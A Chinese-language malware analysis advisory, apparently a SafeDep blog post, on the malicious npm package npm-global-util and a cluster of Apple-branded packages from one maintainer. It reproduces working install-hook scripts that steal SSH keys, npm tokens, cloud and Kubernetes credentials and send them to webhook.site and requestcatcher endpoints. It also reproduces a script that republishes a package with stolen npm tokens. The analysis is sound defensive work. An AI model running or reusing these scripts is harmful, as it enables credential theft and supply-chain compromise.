npm-global-util:凭证窃取与供应链攻击

目录

概要

npm-global-util 是一个由 raya4321 于 2026 年 4 月 29 日发布的恶意 npm 包。它在 preinstall 上运行一个 shell 脚本,窃取系统凭证、云令牌和环境变量,并将其发送到攻击者控制的 webhook.site 端点。一个捆绑的第二阶段脚本(pwn.sh)会窃取 npm 发布令牌,并利用它们在 npm 注册表中注入一个被污染的 apple-app-store-server-library 版本。同一维护者账户还发布了 15 个额外的恶意包,全部使用"apple-internal-*"品牌,截至本文撰写时均活跃在注册表中。

影响范围:​

  • npm install 上的凭证窃取:npm 令牌、SSH 私钥、AWS 凭证、GCP 服务账号令牌、GitHub 令牌和环境变量
  • 供应链升级:如果找到 npm 发布令牌,攻击者会尝试注入 Apple apple-app-store-server-library 的后门版本
  • Kubernetes 横向移动:相关包针对 K8s 服务账号令牌和云元数据端点
  • 同一维护者账户的 16 个恶意包仍保留在注册表中

妥协指标(IoC):​

  • 包:npm-global-util 版本 1.0.01.3.3
  • 包:agents-a365-runtime 版本 1.3.51.3.8
  • 包集群:维护者 raya4321 发布的 apple-internal-*apple-infra-*apple-cktool-*apple-coredata-*apple-cloud-*
  • 数据泄露端点:hxxps://webhook[.]site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6hxxps://webhook[.]site/44a48e8a-8ab6-454b-b36b-a05458f90a92hxxps://webhook[.]site/e44df9ae-8bff-478a-b1f2-514c1fcbf303hxxps://webhook[.]site/85f78e76-dc73-4cb5-a65c-27f2c10db591hxxps://webhook[.]site/1324ffab-98a9-4f19-8f72-4bbaad684aafhxxps://webhook[.]site/9a376595-d347-4110-ac32-814e6e2f0754hxxps://franki[.]requestcatcher[.]com
  • 供应链攻击目标:apple-app-store-server-library

分析

包概述

npm-global-util 无描述、无仓库、无主页、无作者字段。维护者为 raya4321[email protected]),该账户在 2026 年 4 月 27 日至 4 月 29 日期间发布了 16 个包。版本历史呈现快速迭代的特征:在约 70 分钟内发布了 9 个版本,每个版本都在改进侦察载荷。

plaintext
$ curl -s "https://registry.npmjs.org/npm-global-util" | jq '.time' { "created": "2026-04-29T06:45:28.959Z", "1.0.0": "2026-04-29T06:45:29.204Z", "1.0.9": "2026-04-29T07:07:52.967Z", "1.1.1": "2026-04-29T07:12:15.071Z", "1.1.4": "2026-04-29T07:18:04.188Z", "1.1.8": "2026-04-29T07:25:25.927Z", "1.2.0": "2026-04-29T07:29:10.904Z", "1.3.1": "2026-04-29T07:46:36.210Z", "1.3.2": "2026-04-29T07:50:21.898Z", "1.3.3": "2026-04-29T07:54:43.518Z" }

该包没有任何合法功能。每个版本中的每个文件要么是 package.json,要么是 shell 脚本。

执行触发器

preinstall 生命周期钩子在任何项目以该包作为直接或传递依赖运行 npm install 时触发。无需用户交互。

json
{ "name": "npm-global-util", "version": "1.3.3", "scripts": { "preinstall": "sh ms_audit.sh" } }

ms_audit.sh 在包安装之前同步运行。从受害者角度来看,失败不会阻止安装,因为大多数 CI 流水线将 install-hook 错误视为非致命错误。

阶段 1:侦察与凭证收集

ms_audit.sh 的每个版本都针对受害者环境的不同层次。版本历史记录就像攻击者针对实时测试目标进行迭代的过程:

v1.0.0:系统身份和云元数据探测

bash
# package/ms_audit.sh (v1.0.0) export OUT=$(mktemp) URL='https://webhook.site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6' ( echo "--- GLOBAL PACKAGE INFILTRATION ---" echo "Host: $(hostname) | User: $(id)" echo -e "\n[3] Network & Location Info:" curl -s https://ifconfig.me && echo " (Public IP)" echo -e "\n[4] Cloud Check:" curl -s -m 1 -I http://169.254.169.254 | grep Server || echo "Not a standard cloud metadata IP" ) > $OUT curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URL

v1.0.9:敏感文件提取(PDF、私钥)​

bash
# package/ms_audit.sh (v1.0.9) URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92' find /root/.* -maxdepth 2 -type f \( -name "*.pdf" -o -name "*.key" -o -name "*token*" \) 2>/dev/null | head -n 10 for f in $(find /root/.* -maxdepth 2 -type f \( -name "*.pdf" -o -name "*.key" \) 2>/dev/null | head -n 3); do echo "File: $f" base64 "$f" | head -c 200 done

v1.1.1:PDF 和 ZIP 文件的完整目录泄露

bash
# package/ms_audit.sh (v1.1.1) URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92' find /root /home /opt /var/www -maxdepth 3 -type f \( -name "*.pdf" -o -name "*.zip" \) 2>/dev/null | while read -r FILE; do curl -X POST -F "file=@$FILE" -F "host=$(hostname)" -F "path=$FILE" "$URL" done curl -X POST -d "Host $(hostname) has finished scanning for PDF/ZIP." "$URL"

v1.1.4:基于关键词的敏感文件搜索("Global Predator Scan")​

bash
# package/ms_audit.sh (v1.1.4) URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92' find / -maxdepth 5 -type f \( \ -iname "*secret*" -o \ -iname "*confidential*" -o \ -iname "*backup*" -o \ -iname "*password*" -o \ -iname "*finance*" -o \ -iname "*invoice*" -o \ -iname "*rahasia*" \ \) \( -name "*.pdf" -o -name "*.zip" -o -name "*.tar.gz" -o -name "*.sql" \) 2>/dev/null | head -n 20 | while read -r FILE; do curl -X POST \ -F "file=@$FILE" \ -F "host=$(hostname)" \ -F "full_path=$FILE" \ -F "size=$(du -h "$FILE" | cut -f1)" \ "$URL" done curl -X POST -d "Global Predator Scan on $(hostname) finished. Check your Files tab." "$URL"

v1.1.8:针对特定文件名的攻击

bash
# package/ms_audit.sh (v1.1.8) URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92' TARGET='/root/Desktop/u6Lx.pdf' if [ -f "$TARGET" ]; then curl -X POST -F "file=@$TARGET" "$URL?ikan_paus_cent_os" LINK=$(curl --upload-file "$TARGET" https://transfer.sh/u6Lx_rahasia.pdf) curl -X POST -d "LINK DOWNLOAD: $LINK" "$URL" fi

硬编码的文件名 u6Lx.pdf 和查询字符串 ikan_paus_cent_os(印度尼西亚语:"whale centOS")表明此版本是为验证对特定目标机器的访问权限而编写的。

v1.2.0:数据库 URL 和云存储桶发现

bash
# package/ms_audit.sh (v1.2.0) URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92' ( echo "[1] Searching for Database URL Patterns in Files:" grep -rEho "https?://[a-zA-Z0-9./_-]+(sql|dump|db|backup|data)[a-zA-Z0-9./_-]+" /home /root /var/www 2>/dev/null | head -n 15 echo "[2] Checking .bash_history for wget/curl DB links:" grep -E "wget|curl" ~/.bash_history 2>/dev/null | grep -iE "sql|zip|gz|db" | tail -n 5 echo "[3] Searching for S3/Cloud Storage Buckets:" grep -rEho "[a-zA-Z0-9.-]+\.s3\.amazonaws\.com/[a-zA-Z0-9./_-]+" /root /home 2>/dev/null grep -rEho "storage\.googleapis\.com/[a-zA-Z0-9./_-]+" /root /home 2>/dev/null ) > db_links.txt curl -X POST -F "file=@db_links.txt" "$URL"

v1.3.1:全面凭证收集(最新版本之前的最终形态)​

bash
# package/ms_audit.sh (v1.3.1) URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303' ( echo "[1] Check NPM Auth (The Holy Grail):" cat ~/.npmrc 2>/dev/null echo "[2] Check Cloud Credentials (GCP/AWS/Azure):" grep -rEi "access_key|secret_key|token" ~/.config ~/.aws ~/.azure 2>/dev/null | head -n 10 echo "[3] Check SSH Keys (Full System Access):" find ~/.ssh -type f -name "id_*" ! -name "*.pub" 2>/dev/null | while read -r KEY; do echo "Found Key: $KEY" cat "$KEY" | head -n 5 done echo "[4] Environment Variables (Passwords in RAM):" env | grep -Ei "pass|secret|token|db_|key" | head -n 10 ) > final_leak.txt curl -X POST -F "file=@final_leak.txt" "$URL"

v1.3.2:GCP 身份探测和 .env 文件搜索

bash
# package/ms_audit.sh (v1.3.2) URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303' ( echo "[1] GCE Identity Info:" curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=$URL" 2>/dev/null echo "[2] Hunting for Environment Secrets:" find . -name ".env" -exec cat {} \; 2>/dev/null echo "[3] Sensitive Processes:" ps aux | grep -Ei "key|auth|secret|token" | grep -v grep ) > final_identity.txt curl -X POST -F "file=@final_identity.txt" "$URL"

v1.3.3(最新版本):沙箱和容器指纹识别

bash
# package/ms_audit.sh (v1.3.3) URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303' ( echo "[1] Current Shell & Process Tree (Seeing the Wrapper):" ps -ef f | head -n 20 echo "[2] Inspecting Container/Sandbox Metadata:" ls -la /proc/1/cgroup 2>/dev/null cat /proc/1/environ 2>/dev/null | tr '\0' '\n' echo "[3] Searching for Entrypoint/Startup Scripts:" find / -maxdepth 2 -name "*entrypoint*" -o -name "*start*" -o -name "*init*" 2>/dev/null \ | xargs -I {} sh -c 'echo "FILE: {}"; cat "{}" | head -n 50; echo "---"' echo "[4] Mount Points (Seeing the Sandbox Borders):" mount | grep -Ei "docker|overlay|virtiofs" ) > sandbox_core.txt curl -X POST -F "file=@sandbox_core.txt" "$URL"

从 v1.3.1 中的凭证收集到 v1.3.3 中的沙箱分析,暗示攻击者在被自动化 npm 安全扫描器捕获后,从机会主义的凭证窃取转向了检测环境分析。

阶段 2:通过窃取的 npm 令牌进行供应链攻击

pwn.sh,捆绑在 1.0.0 至 1.2.0 版本中,是第二阶段的有效载荷。它并非由 ms_audit.sh 直接调用,这意味着它要么打算通过不同机制执行,要么代表攻击开发的进行中状态。无论如何,其意图是明确的:

bash
# package/pwn.sh (all versions containing it) URL='https://webhook.site/85f78e76-dc73-4cb5-a65c-27f2c10db591' ( BOT_TOKEN=$(env | grep -E 'NPM_TOKEN|NODE_AUTH_TOKEN|GITHUB_TOKEN|NPM_AUTH_TOKEN' | head -n 1 | cut -d= -f2) if [ -z "$BOT_TOKEN" ]; then BOT_TOKEN=$(grep -oE 'authToken=[^ ]+' ~/.npmrc 2>/dev/null | cut -d= -f2) fi if [ -n "$BOT_TOKEN" ]; then echo "TOKEN VALID DITEMUKAN: ${BOT_TOKEN:0:7}***" echo "//registry.npmjs.org/:_authToken=$BOT_TOKEN" > .npmrc npm pack apple-app-store-server-library 2>/dev/null FILE=$(ls apple-app-store-server-library-*.tgz 2>/dev/null) if [ -n "$FILE" ]; then mkdir -p pocalin && tar -xzf "$FILE" -C pocalin cd pocalin/package echo -e "\n# Proof of Concept by Frank\nAutomatically updated by internal automation using discovered credentials." >> README.md CUR_VER=$(grep '"version":' package.json | cut -d'"' -f4) NEXT_VER="${CUR_VER%.*}.$((${CUR_VER##*.}+1))" sed -i "s/\"version\": \"$CUR_VER\"/\"version\": \"$NEXT_VER\"/" package.json sed -i '/"prepack":/d; /"prepare":/d; /"build":/d' package.json cp ../../.npmrc . npm publish --userconfig .npmrc 2>&1 fi fi ) > $OUT curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URL

如果在环境变量或 ~/.npmrc 中找到 npm 认证令牌,脚本会:

  1. 下载一份新的 apple-app-store-server-library(Apple 官方 App Store Server API 客户端)
  2. 在其 README 中追加"Proof of Concept by Frank"字符串
  3. 递增补丁版本号
  4. 剥离构建和准备脚本以避免编译失败
  5. 使用受害者的凭证发布修改后的包

在具有发布权限的合法包上运行 npm install 的开发者,会在不知不觉中为攻击者提供注入恶意代码到该包注册表条目的钥匙。

更广泛的攻击活动

raya4321npm-global-util 同时发布了 15 个额外的恶意包,全部使用 Apple 品牌名称以暗示这是内部工具:

钩子目标泄露端点
apple-internal-telemetry-servicepostinstallSSH 密钥、环境变量(Apple 主机名检查)franki.requestcatcher.com
apple-internal-pki-trustpreinstall.git-credentials.env、Azure 令牌franki.requestcatcher.com
apple-internal-pki-trust-v5postinstall环境变量(APPLE/AWS/GIT/SECRET)franki.requestcatcher.com
apple-cktool-api-v2postinstallCloudKit 令牌文件(~/.cloudkitfranki.requestcatcher.com
apple-pki-cert-validatorpostinstallSSH 私钥franki.requestcatcher.com
apple-internal-dev-checkpostinstall完整系统扫描:文件、云、环境franki.requestcatcher.com
apple-coredata-internal-servicepostinstall~/.npmrc、AWS 凭证、SSHfranki.requestcatcher.com
apple-cloud-infrastructure-monitorpostinstall完整凭证:环境、SSH、AWS、gitwebhook.site/9a376595-...
apple-infra-network-v2preinstallDNS、ARP、内部网络拓扑webhook.site/1324ffab-...
apple-infra-gcp-leakpreinstallGCP 元数据:项目 ID、区域、服务账号令牌webhook.site/1324ffab-...
apple-internal-auth-v3postinstallSSH、AWS 凭证(Apple 主机名检查)franki.requestcatcher.com
agents-a365-runtimepreinstallKubernetes 服务账号令牌,位于 /var/run/secrets/kubernetes.io/serviceaccount/tokenwebhook.site/42fb16cd-...
apple-infra-ultimate-bypasspreinstall执行 /tmp/final_payload.sh(各异)
apple-infra-final-escapepreinstall执行 /tmp/final_sweep.sh(各异)

该集群中有三个包值得仔细审视。

agents-a365-runtime:Kubernetes 服务账号令牌窃取

bash
# agents-a365-runtime/package/ms_audit.sh (v1.3.8) URL='https://webhook.site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6' ( echo "[1] Kubernetes Service Account Token:" cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo "Token not found" echo "[2] Kubernetes Namespace:" cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null echo "[3] Environment Scan for K8S/API Keys:" printenv | grep -Ei 'KUBE|SERVICE|API|PORT|PROTO' echo "[4] Mount Points (Cek file sensitif lainnya):" mount | grep -i 'secret' ) > $OUT curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URL

apple-infra-gcp-leak:通过元数据端点窃取 GCP 服务账号令牌

bash
# apple-infra-gcp-leak/package/ms_audit.sh (v1.2.0) URL='https://webhook.site/1324ffab-98a9-4f19-8f72-4bbaad684aaf' ( echo "[1] Project ID & Zone:" curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/project/project-id curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/zone echo "[2] Service Account Token (THE GOLDEN TICKET):" curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token echo "[3] Service Account Scopes:" curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes ) > $OUT curl -X POST --data-binary @$OUT $URL

apple-internal-telemetry-service:Apple 主机名限制的数据泄露

bash
# apple-internal-telemetry-service/package/package.json (v1.0.0) { "postinstall": "if hostname | grep -iq 'apple' || env | grep -iq 'apple'; then (echo '--- SYSTEM INFO ---'; hostname; whoami; uname -a; echo '--- ENV DATA ---'; printenv; echo '--- SSH KEYS ---'; ls -la ~/.ssh; cat ~/.ssh/id_rsa ) > apple_data.txt 2>&1; curl -X POST -F \"file=@apple_data.txt\" https://franki.requestcatcher.com/apple_verified_leak; fi" }

grep -iq 'apple' 限制意味着此有效载荷仅在主机名或环境包含"apple"字符串的机器上触发,证实该活动针对的是 Apple 内部开发者集群或 CI 运行器,而非随机 npm 用户。

apple-infra-ultimate-bypass:分阶段触发

json
// apple-infra-ultimate-bypass/package/package.json (v3.0.0) { "name": "apple-infra-ultimate-bypass", "version": "3.0.0", "scripts": { "preinstall": "sh /tmp/final_payload.sh" } }

该包本身不携带任何有效载荷。它执行 /tmp/final_payload.sh 上已有的脚本。apple-infra-final-escape 遵循相同模式,执行 /tmp/final_sweep.sh。如果同一环境中安装了多个来自此集群的包(作为共享父级的传递依赖),则先安装的包可能已将脚本写入 /tmp,而此包会触发它执行。

攻击者归因线索

所有脚本都包含印度尼西亚语的注释,包括操作说明,如 "Mengambil token NPM yang dipakai buat publish/install paket"("获取用于发布/安装包的 npm 令牌")和 "Kunci privat SSH yang sering ditinggal di server"("SSH 私钥经常留在服务器上")。攻击者在供应链攻击的概念验证中署名"Frank"。

[email protected] 电子邮件地址和账户名 raya4321 看起来是为本次攻击活动专门创建的,之前没有发布历史记录。


结论

npm-global-util 将凭证收集与针对 apple-app-store-server-library 的供应链升级向量相结合。raya4321 下的 16 个包集群覆盖了广泛攻击面:SSH 密钥、云凭证、Kubernetes 令牌、GCP 服务账号和 npm 发布权限。Apple 品牌命名和主机名限制表明这是一次针对 Apple 开发者环境的有针对性活动,而非无差别机会主义攻击。

截至 2026 年 4 月 29 日,所有 16 个包均在注册表中。任何使用 Apple 主题工具、K8s 访问或 CI 发布令牌的 npm install 环境都应被视为潜在暴露向量,直到这些包被移除。

使用 vet 扫描您的依赖图,或通过 SafeDep 检查注册表元数据,以在安装运行之前识别来自该维护者账户的暴露情况。


参考资料

SafeDep 博客最新动态

关注以获取开源安全与工程的最新更新与洞察